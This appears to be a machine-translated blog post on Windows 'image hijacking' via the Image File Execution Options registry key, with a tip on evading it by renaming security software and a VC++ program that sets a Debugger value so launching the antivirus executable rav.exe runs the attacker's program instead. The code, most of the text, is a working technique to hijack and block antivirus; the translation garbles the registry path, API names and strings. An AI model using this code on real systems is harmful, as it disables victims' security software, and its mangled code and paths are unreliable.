Image hijacking through VC ++

The so-called image hijacking is to create a new item named by the software main program in the [HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution options.pdf in the registry, for example, rav.exe. Create a sub-key "Debugger =" C: \ windows \ system32 \ drivers \". In the future, you only need to double-click rav.exe to run the OSO Virus File, similar to the effect of File Association.
Simple Solution to image hijacking

If there is anti-virus software or 360 or something on the computer, but the image hijacking fails,
In fact, you only need to change the name of the security software to avoid image hijacking and use. I personally think this is the easiest way for beginners.
First, find that most of the security software is stored in the Program Files folder. Find the name. For example, take 360 as an example. The original file path X: \ Program Files \ 360safeis is 360safe.exe. Change the name to 36015safe.exe. (The name can be anything, but it cannot be the name of the security software) double-click the security software and the software runs after image hijacking. You don't need to say anything about the next scan. This small operation can solve the pressing problem.

# Include "stdafx. H "# include <stdio. h> # include <windows. h> int main (INT argc, char * argv []) {char temp [256]; DWORD ret; lpctstr szregkey = "SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution options"; // define a string pointer and save the hkey h_key of the image hijacking; if (argc! = 1) // If the parameter is not one, extract the 2nd parameter, that is, the path of the hijacked program {memset (temp, 0,256); strcpy (temp, argv [1]); For (INT I = 0; I <strlen (temp); I ++) // change \ in the path to/or \\, the code is long {If (temp [I] = '\') temp [I] = '/';} ret = regopenkeyex (HKEY_LOCAL_MACHINE, szregkey, 0, key_all_access, & h_key); // open the sub-key that requires image hijacking in the registry to obtain the handle if (ret = error_success) {printf ("Open OK! \ N "); If (error_success = regdeletekey (h_key," rav.exe ") // Delete {printf (" delete OK! \ N "); regclosekey (h_key); winexec (temp, sw_show); // run the hijacked program} else {printf (" delete failed! \ N "); regclosekey (h_key) ;}} elseprintf (" Open failed! \ N ");} memset (temp, 0,256); getmodulefilename (null, temp, 256); // get the program's own path and prepare hkey hresultkey = NULL for writing the registry below; if (error_success = regopenkeyex (HKEY_LOCAL_MACHINE, szregkey, 0, key_all_access, & h_key) // open the subkey of registry image hijacking and obtain the handle {DWORD dw; ret = regcreatekeyex (h_key, "rav.exe", 0, reg_none, reg_option_non_volatile, key_all_access, null, & hresultkey, & DW ); // create and open the rav sub-key under the sub-key opened above to obtain the handle if (Ret! = Error_success) {regclosekey (h_key); printf ("creat failed! \ N "); return 1;} printf (" creat OK! \ N "); ret = regsetvalueex (hresultkey," Debugger ", 0, REG_SZ, (const byte *) temp, strlen (temp) + 1 ); // create the debugger key on the rav key and set the value to the path of this program for image hijacking if (Ret! = Error_success) {regclosekey (h_key); regclosekey (hresultkey); return 1 ;}regclosekey (h_key); regclosekey (hresultkey); printf ("set OK! \ N ");} MessageBox (null," OK! "," Successful! ", Mb_ OK); // used to test the program. You can monitor return 0 ;}